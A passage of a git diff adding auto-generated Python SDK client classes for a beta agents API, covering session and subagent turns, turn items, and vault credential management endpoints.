+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not subagent_id:
+ raise ValueError(f"Expected a non-empty value for `subagent_id` but received {subagent_id!r}")
+ if not turn_id:
+ raise ValueError(f"Expected a non-empty value for `turn_id` but received {turn_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template(
+ "/agents/sessions/{session_id}/subagents/{subagent_id}/turns/{turn_id}/items",
+ session_id=session_id,
+ subagent_id=subagent_id,
+ turn_id=turn_id,
+ ),
+ page=AsyncCursorPage[AgentSessionItem],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ item_list_params.ItemListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=cast(Any, AgentSessionItem), # Union types cannot be passed in as arguments in the type system
+ )
+
+
+class ItemsWithRawResponse:
+ def __init__(self, items: Items) -> None:
+ self._items = items
+
+ self.list = _legacy_response.to_raw_response_wrapper(
+ items.list,
+ )
+
+
+class AsyncItemsWithRawResponse:
+ def __init__(self, items: AsyncItems) -> None:
+ self._items = items
+
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ items.list,
+ )
+
+
+class ItemsWithStreamingResponse:
+ def __init__(self, items: Items) -> None:
+ self._items = items
+
+ self.list = to_streamed_response_wrapper(
+ items.list,
+ )
+
+
+class AsyncItemsWithStreamingResponse:
+ def __init__(self, items: AsyncItems) -> None:
+ self._items = items
+
+ self.list = async_to_streamed_response_wrapper(
+ items.list,
+ )
diff --git a/src/openai/resources/beta/agents/sessions/subagents/turns/turns.py b/src/openai/resources/beta/agents/sessions/subagents/turns/turns.py
new file mode 100644
index 0000000000..ef879eca22
--- /dev/null
+++ b/src/openai/resources/beta/agents/sessions/subagents/turns/turns.py
@@ -0,0 +1,380 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal
+
+import httpx2
+
+from .items import (
+ Items,
+ AsyncItems,
+ ItemsWithRawResponse,
+ AsyncItemsWithRawResponse,
+ ItemsWithStreamingResponse,
+ AsyncItemsWithStreamingResponse,
+)
+from ....... import _legacy_response
+from ......._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
+from ......._utils import path_template, maybe_transform
+from ......._compat import cached_property
+from ......._resource import SyncAPIResource, AsyncAPIResource
+from ......._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from .......pagination import SyncCursorPage, AsyncCursorPage
+from ......._base_client import AsyncPaginator, make_request_options
+from .......types.beta.agents.sessions.turn import Turn
+from .......types.beta.agents.sessions.subagents import turn_list_params
+
+__all__ = ["Turns", "AsyncTurns"]
+
+
+class Turns(SyncAPIResource):
+ @cached_property
+ def items(self) -> Items:
+ return Items(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> TurnsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return TurnsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> TurnsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return TurnsWithStreamingResponse(self)
+
+ def retrieve(
+ self,
+ turn_id: str,
+ *,
+ session_id: str,
+ subagent_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Turn:
+ """Retrieves a turn belonging to this subagent.
+
+ See
+ [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not subagent_id:
+ raise ValueError(f"Expected a non-empty value for `subagent_id` but received {subagent_id!r}")
+ if not turn_id:
+ raise ValueError(f"Expected a non-empty value for `turn_id` but received {turn_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get(
+ path_template(
+ "/agents/sessions/{session_id}/subagents/{subagent_id}/turns/{turn_id}",
+ session_id=session_id,
+ subagent_id=subagent_id,
+ turn_id=turn_id,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Turn,
+ )
+
+ def list(
+ self,
+ subagent_id: str,
+ *,
+ session_id: str,
+ after: str | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncCursorPage[Turn]:
+ """Lists all turns of this subagent, including turns after a resume.
+
+ See
+ [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not subagent_id:
+ raise ValueError(f"Expected a non-empty value for `subagent_id` but received {subagent_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template(
+ "/agents/sessions/{session_id}/subagents/{subagent_id}/turns",
+ session_id=session_id,
+ subagent_id=subagent_id,
+ ),
+ page=SyncCursorPage[Turn],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ turn_list_params.TurnListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=Turn,
+ )
+
+
+class AsyncTurns(AsyncAPIResource):
+ @cached_property
+ def items(self) -> AsyncItems:
+ return AsyncItems(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> AsyncTurnsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncTurnsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncTurnsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncTurnsWithStreamingResponse(self)
+
+ async def retrieve(
+ self,
+ turn_id: str,
+ *,
+ session_id: str,
+ subagent_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Turn:
+ """Retrieves a turn belonging to this subagent.
+
+ See
+ [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not subagent_id:
+ raise ValueError(f"Expected a non-empty value for `subagent_id` but received {subagent_id!r}")
+ if not turn_id:
+ raise ValueError(f"Expected a non-empty value for `turn_id` but received {turn_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._get(
+ path_template(
+ "/agents/sessions/{session_id}/subagents/{subagent_id}/turns/{turn_id}",
+ session_id=session_id,
+ subagent_id=subagent_id,
+ turn_id=turn_id,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Turn,
+ )
+
+ def list(
+ self,
+ subagent_id: str,
+ *,
+ session_id: str,
+ after: str | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[Turn, AsyncCursorPage[Turn]]:
+ """Lists all turns of this subagent, including turns after a resume.
+
+ See
+ [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not subagent_id:
+ raise ValueError(f"Expected a non-empty value for `subagent_id` but received {subagent_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template(
+ "/agents/sessions/{session_id}/subagents/{subagent_id}/turns",
+ session_id=session_id,
+ subagent_id=subagent_id,
+ ),
+ page=AsyncCursorPage[Turn],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ turn_list_params.TurnListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=Turn,
+ )
+
+
+class TurnsWithRawResponse:
+ def __init__(self, turns: Turns) -> None:
+ self._turns = turns
+
+ self.retrieve = _legacy_response.to_raw_response_wrapper(
+ turns.retrieve,
+ )
+ self.list = _legacy_response.to_raw_response_wrapper(
+ turns.list,
+ )
+
+ @cached_property
+ def items(self) -> ItemsWithRawResponse:
+ return ItemsWithRawResponse(self._turns.items)
+
+
+class AsyncTurnsWithRawResponse:
+ def __init__(self, turns: AsyncTurns) -> None:
+ self._turns = turns
+
+ self.retrieve = _legacy_response.async_to_raw_response_wrapper(
+ turns.retrieve,
+ )
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ turns.list,
+ )
+
+ @cached_property
+ def items(self) -> AsyncItemsWithRawResponse:
+ return AsyncItemsWithRawResponse(self._turns.items)
+
+
+class TurnsWithStreamingResponse:
+ def __init__(self, turns: Turns) -> None:
+ self._turns = turns
+
+ self.retrieve = to_streamed_response_wrapper(
+ turns.retrieve,
+ )
+ self.list = to_streamed_response_wrapper(
+ turns.list,
+ )
+
+ @cached_property
+ def items(self) -> ItemsWithStreamingResponse:
+ return ItemsWithStreamingResponse(self._turns.items)
+
+
+class AsyncTurnsWithStreamingResponse:
+ def __init__(self, turns: AsyncTurns) -> None:
+ self._turns = turns
+
+ self.retrieve = async_to_streamed_response_wrapper(
+ turns.retrieve,
+ )
+ self.list = async_to_streamed_response_wrapper(
+ turns.list,
+ )
+
+ @cached_property
+ def items(self) -> AsyncItemsWithStreamingResponse:
+ return AsyncItemsWithStreamingResponse(self._turns.items)
diff --git a/src/openai/resources/beta/agents/sessions/turns.py b/src/openai/resources/beta/agents/sessions/turns.py
new file mode 100644
index 0000000000..7ef3d38d47
--- /dev/null
+++ b/src/openai/resources/beta/agents/sessions/turns.py
@@ -0,0 +1,322 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal
+
+import httpx2
+
+from ..... import _legacy_response
+from ....._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
+from ....._utils import path_template, maybe_transform
+from ....._compat import cached_property
+from ....._resource import SyncAPIResource, AsyncAPIResource
+from ....._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from .....pagination import SyncCursorPage, AsyncCursorPage
+from ....._base_client import AsyncPaginator, make_request_options
+from .....types.beta.agents.sessions import turn_list_params
+from .....types.beta.agents.sessions.turn import Turn
+
+__all__ = ["Turns", "AsyncTurns"]
+
+
+class Turns(SyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> TurnsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return TurnsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> TurnsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return TurnsWithStreamingResponse(self)
+
+ def retrieve(
+ self,
+ turn_id: str,
+ *,
+ session_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Turn:
+ """Retrieves a turn's current status, timestamps, usage, and error.
+
+ Returns 404 if
+ the turn does not belong to the session. See
+ [session turns](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage#inspect-session-turns).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not turn_id:
+ raise ValueError(f"Expected a non-empty value for `turn_id` but received {turn_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get(
+ path_template("/agents/sessions/{session_id}/turns/{turn_id}", session_id=session_id, turn_id=turn_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Turn,
+ )
+
+ def list(
+ self,
+ session_id: str,
+ *,
+ after: str | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncCursorPage[Turn]:
+ """Lists turns by creation time and turn ID.
+
+ The after cursor is exclusive in the
+ selected order. See
+ [session turns](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage#inspect-session-turns).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template("/agents/sessions/{session_id}/turns", session_id=session_id),
+ page=SyncCursorPage[Turn],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ turn_list_params.TurnListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=Turn,
+ )
+
+
+class AsyncTurns(AsyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AsyncTurnsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncTurnsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncTurnsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncTurnsWithStreamingResponse(self)
+
+ async def retrieve(
+ self,
+ turn_id: str,
+ *,
+ session_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Turn:
+ """Retrieves a turn's current status, timestamps, usage, and error.
+
+ Returns 404 if
+ the turn does not belong to the session. See
+ [session turns](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage#inspect-session-turns).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not turn_id:
+ raise ValueError(f"Expected a non-empty value for `turn_id` but received {turn_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._get(
+ path_template("/agents/sessions/{session_id}/turns/{turn_id}", session_id=session_id, turn_id=turn_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Turn,
+ )
+
+ def list(
+ self,
+ session_id: str,
+ *,
+ after: str | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[Turn, AsyncCursorPage[Turn]]:
+ """Lists turns by creation time and turn ID.
+
+ The after cursor is exclusive in the
+ selected order. See
+ [session turns](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage#inspect-session-turns).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template("/agents/sessions/{session_id}/turns", session_id=session_id),
+ page=AsyncCursorPage[Turn],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ turn_list_params.TurnListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=Turn,
+ )
+
+
+class TurnsWithRawResponse:
+ def __init__(self, turns: Turns) -> None:
+ self._turns = turns
+
+ self.retrieve = _legacy_response.to_raw_response_wrapper(
+ turns.retrieve,
+ )
+ self.list = _legacy_response.to_raw_response_wrapper(
+ turns.list,
+ )
+
+
+class AsyncTurnsWithRawResponse:
+ def __init__(self, turns: AsyncTurns) -> None:
+ self._turns = turns
+
+ self.retrieve = _legacy_response.async_to_raw_response_wrapper(
+ turns.retrieve,
+ )
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ turns.list,
+ )
+
+
+class TurnsWithStreamingResponse:
+ def __init__(self, turns: Turns) -> None:
+ self._turns = turns
+
+ self.retrieve = to_streamed_response_wrapper(
+ turns.retrieve,
+ )
+ self.list = to_streamed_response_wrapper(
+ turns.list,
+ )
+
+
+class AsyncTurnsWithStreamingResponse:
+ def __init__(self, turns: AsyncTurns) -> None:
+ self._turns = turns
+
+ self.retrieve = async_to_streamed_response_wrapper(
+ turns.retrieve,
+ )
+ self.list = async_to_streamed_response_wrapper(
+ turns.list,
+ )
diff --git a/src/openai/resources/beta/agents/vaults/__init__.py b/src/openai/resources/beta/agents/vaults/__init__.py
new file mode 100644
index 0000000000..7face62bd5
--- /dev/null
+++ b/src/openai/resources/beta/agents/vaults/__init__.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from .vaults import (
+ Vaults,
+ AsyncVaults,
+ VaultsWithRawResponse,
+ AsyncVaultsWithRawResponse,
+ VaultsWithStreamingResponse,
+ AsyncVaultsWithStreamingResponse,
+)
+from .credentials import (
+ Credentials,
+ AsyncCredentials,
+ CredentialsWithRawResponse,
+ AsyncCredentialsWithRawResponse,
+ CredentialsWithStreamingResponse,
+ AsyncCredentialsWithStreamingResponse,
+)
+
+__all__ = [
+ "Credentials",
+ "AsyncCredentials",
+ "CredentialsWithRawResponse",
+ "AsyncCredentialsWithRawResponse",
+ "CredentialsWithStreamingResponse",
+ "AsyncCredentialsWithStreamingResponse",
+ "Vaults",
+ "AsyncVaults",
+ "VaultsWithRawResponse",
+ "AsyncVaultsWithRawResponse",
+ "VaultsWithStreamingResponse",
+ "AsyncVaultsWithStreamingResponse",
+]
diff --git a/src/openai/resources/beta/agents/vaults/credentials.py b/src/openai/resources/beta/agents/vaults/credentials.py
new file mode 100644
index 0000000000..d78233f6b5
--- /dev/null
+++ b/src/openai/resources/beta/agents/vaults/credentials.py
@@ -0,0 +1,679 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal
+
+import httpx2
+
+from ..... import _legacy_response
+from ....._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
+from ....._utils import path_template, maybe_transform, async_maybe_transform
+from ....._compat import cached_property
+from ....._resource import SyncAPIResource, AsyncAPIResource
+from ....._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from .....pagination import SyncCursorPage, AsyncCursorPage
+from ....._base_client import AsyncPaginator, make_request_options
+from .....types.beta.agents.vaults import (
+ credential_list_params,
+ credential_create_params,
+ credential_update_params,
+)
+from .....types.beta.agents.vaults.credential import Credential
+from .....types.beta.agents.vault_status_filter_param import VaultStatusFilterParam
+from .....types.beta.agents.vaults.credential_deleted import CredentialDeleted
+from .....types.beta.agents.vaults.credential_auth_create_param import CredentialAuthCreateParam
+from .....types.beta.agents.vaults.credential_auth_rotate_param import CredentialAuthRotateParam
+
+__all__ = ["Credentials", "AsyncCredentials"]
+
+
+class Credentials(SyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> CredentialsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return CredentialsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> CredentialsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return CredentialsWithStreamingResponse(self)
+
+ def create(
+ self,
+ vault_id: str,
+ *,
+ auth: CredentialAuthCreateParam,
+ name: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Credential:
+ """Creates a vault credential.
+
+ Secret values are write-only and are never returned.
+ See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ auth: The authentication method and secret values to store for the MCP server.
+
+ name: The name is trimmed before storage. It must contain 1 to 256 UTF-8 bytes after
+ trimming.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not vault_id:
+ raise ValueError(f"Expected a non-empty value for `vault_id` but received {vault_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._post(
+ path_template("/vaults/{vault_id}/credentials", vault_id=vault_id),
+ body=maybe_transform(
+ {
+ "auth": auth,
+ "name": name,
+ },
+ credential_create_params.CredentialCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Credential,
+ )
+
+ def retrieve(
+ self,
+ credential_id: str,
+ *,
+ vault_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Credential:
+ """Retrieves vault credential metadata without returning secret values.
+
+ See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not vault_id:
+ raise ValueError(f"Expected a non-empty value for `vault_id` but received {vault_id!r}")
+ if not credential_id:
+ raise ValueError(f"Expected a non-empty value for `credential_id` but received {credential_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get(
+ path_template(
+ "/vaults/{vault_id}/credentials/{credential_id}", vault_id=vault_id, credential_id=credential_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Credential,
+ )
+
+ def update(
+ self,
+ credential_id: str,
+ *,
+ vault_id: str,
+ auth: CredentialAuthRotateParam,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Credential:
+ """
+ Rotates a vault credential's write-only secret and returns only credential
+ metadata. See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ auth: Replacement values for the credential's existing authentication method.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not vault_id:
+ raise ValueError(f"Expected a non-empty value for `vault_id` but received {vault_id!r}")
+ if not credential_id:
+ raise ValueError(f"Expected a non-empty value for `credential_id` but received {credential_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._post(
+ path_template(
+ "/vaults/{vault_id}/credentials/{credential_id}", vault_id=vault_id, credential_id=credential_id
+ ),
+ body=maybe_transform({"auth": auth}, credential_update_params.CredentialUpdateParams),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Credential,
+ )
+
+ def list(
+ self,
+ vault_id: str,
+ *,
+ after: str | Omit = omit,
+ limit: Optional[int] | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ status: VaultStatusFilterParam | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
